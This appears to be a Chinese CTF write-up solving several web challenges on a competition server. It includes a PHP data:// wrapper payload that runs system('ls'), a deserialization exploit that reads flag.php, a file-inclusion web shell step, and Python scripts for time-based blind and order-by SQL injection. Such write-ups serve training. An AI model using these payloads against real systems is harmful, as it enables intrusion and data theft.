——php伪协议
考察的是php
伪协议,可以使用data
协议来进行读取
?file=data:text/plain,<?echo system('ls')?>
——签到
扫描一下出一个文件,里面就有flag
——PHP反序列化、to_string魔法函数的调用
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (base64_encode(file_get_contents($filename)))
{
return base64_encode(file_get_contents($filename));
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
$good = unserialize($data);
echo $good;
}
else
{
$url='./index.php';
}
$html='';
if(isset($_POST['test'])){
$s = $_POST['test'];
$html.="谢谢参与!
";
}
?>
代码很简单,就是__toString
的调用
<?php
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (base64_encode(file_get_contents($filename)))
{
return base64_encode(file_get_contents($filename));
}
}
}
}
$a = new baby();
$a->file = 'flag.php';
$a->__tostring();
echo serialize($a);
——绕过token、时间盲注
一开始是一个登陆框,SQL万能密码进不去,抓包发现有token
验证,需要进行爆破,虽然没有成功,但在测试的时候发现有这个页面
http://101.201.126.95:7007/flag.php
在这个地方卡了很长时间,还是比较菜,因为这个页面当提交时只回显一个页面,知道是时间盲注,当fuzz
就很困难
然后做不出来郁闷就去做BUU的一道SQL注入,发现跟这题类似,只不过是过滤了空格,然后尝试,发现
?name=1'/**/or/**/if(1=1,sleep(5),1)%23
import requests
import string
import time
import datetime
if __name__ == "__main__":
chars=string.ascii_letters+string.digits
url="http://101.201.126.95:7007/flag.php"
#payload="'/**/or/**/if((ascii(substr(database(),{0},1))={1}),sleep(3),1)%23" #pikachu
#payload="'/**/or/**/if((ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),{0},1))={1}),sleep(3),1)%23"#flag
#payload="'/**/or/**/if((ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name=\"flag\"/**/limit/**/0,1),{0},1))={1}),sleep(3),1)%23" #flag
payload="'/**/or/**/if((ascii(substr((select/**/flag/**/from/**/flag/**/limit/**/0,1),{0},1))={1}),sleep(3),1)%23"
print("value:")
name=''
for i in range(1,40):
char=''
for j in chars:
payloads=payload.format(i,ord(j))
urls=url+"?name="+payloads+"&submit=%E6%9F%A5%E8%AF%A2"
t1=datetime.datetime.now()
r=requests.get(url=urls)
t2=datetime.datetime.now()
sec = (t2 - t1).seconds
if sec>=3:
name+=j
print(name)
char=j
break
if char=='':
break
跑脚本就行了
——PHP可逆加密解密算法
这个题没有上一个题的flag的提示很难做出来的
查看页面源代码,发现
百度查到了是PHP可逆加密解密算法
然后直接找到了解密算法
PHP可逆加密解密算法
上一题的flag是flag{sixsixsix}
,所以这题的key值即为666
,解密即可得出
——文件上传+文件包含
上传进去,然后发现url中含有filename参数文件包含一下
101.201.126.95:7004/?filename=../uploads/2020/05/17/6161445ec149f81f135785570658.jpg&submit=提交
连接成功,读取flag就行了,题被搅屎了,之前的木马也被删了,某大佬将权限给改了。
——括号被过滤、order by注入
这个题虽然是原题,但感觉能学到知识,很有趣,考察的是order by
排序
拿到题先fuzz一下,看看都过滤了哪些
过滤了括号,所以联合查询、盲注不可行了,只能用常规的盲注,查了下发现有到类似的题目
CTF中过滤括号的盲注题小记
可以用union select+order by
进行注入,原理就看下博主写的很详细的,在burp中先进行测试,最后发现注入点是在username那里,可以先用burp进行爆破然后观察出规律,然后再写脚本
脚本如下:
import requests
url = "http://101.201.126.95:7006/"
alist = "0123456789abcdef"
payload = ""
payload1 = "admin' union select 1,0,'"
payload2 = "'order by 3#"
datas = {
"username":"",
"password":"123",
"submit":'enter'
}
tmp_OK = ""
tmp = ""
for j in range(0,32):
for i in alist:
payload = payload1+tmp_OK+i+payload2
datas["username"] = payload
# print (datas)
r = requests.post(url=url,data=datas)
# print (r.text)
if "admin" in r.text:
tmp_OK += tmp
print (tmp_OK)
break
if ("0" in r.text) and (i == "f"):
tmp_OK += i
print (tmp_OK)
tmp = i
#username=admin' union select 1,0,'c' order by 3#&password=123&submit=enter
——脚本练习
点击提交数字会发生改变,因为这次的赛制有一个关联,通过上一题
得出的flag是加键乘除,又提示要联系起来,就想起了之前做有一道秋名山车神那道题,只不过这个题需要将运算符手动添加,脚本如下:
import requests
from bs4 import BeautifulSoup
import re
import time
if __name__ == '__main__':
time_start=time.time()
url = 'http://101.201.126.95:7010/'
headers = {'Cookie': 'PHPSESSID=gi7r1dlq46h0h9j33uphpl23ne'}
s =requests.Session()
content=s.get(url=url,headers=headers).text
# print(content)
soup = BeautifulSoup(content,'lxml')
li_list = soup.find_all(text=re.compile('\d'))
# print(li_list.split(' '))
result = [x.strip() for x in li_list if x.strip()!='']
# print(result)
str = "".join(result)
# print(str)
a=str.split(' ')
numbers = list(map(int, a))
print(numbers)
payload =numbers[0]+numbers[1]-numbers[2]*numbers[3]/numbers[4]
print(payload)
data = {
'result': payload
#得到/IS20CC20abc%$.txt
}
reponse = requests.post(url=url+"/result.php",data=data,headers=headers).text
print(reponse)
time_end=time.time()
print('time cost',time_end-time_start,'s')
脚本思路也很简单,就是利用BeautifulSoup解析出字符串,然后将字符串去除空格再将字符串列表转换为数字列表,提交参数进行运算即可(一开始url没有加上result.php,浪费了好长时间)
如果一开始没跑出来多跑几次就出来了,访问一下
然后就是一脸懵逼,我一直以为还有上面的文件,就扫描各种,结果就这:
直接访问??????????????? 我一万个问号,这我写脚本的意义何在。。。。
我按照正常的来试试吧
出不来。。。。。。。。,实在无语,就这吧,当是锻炼锻炼脚本能力。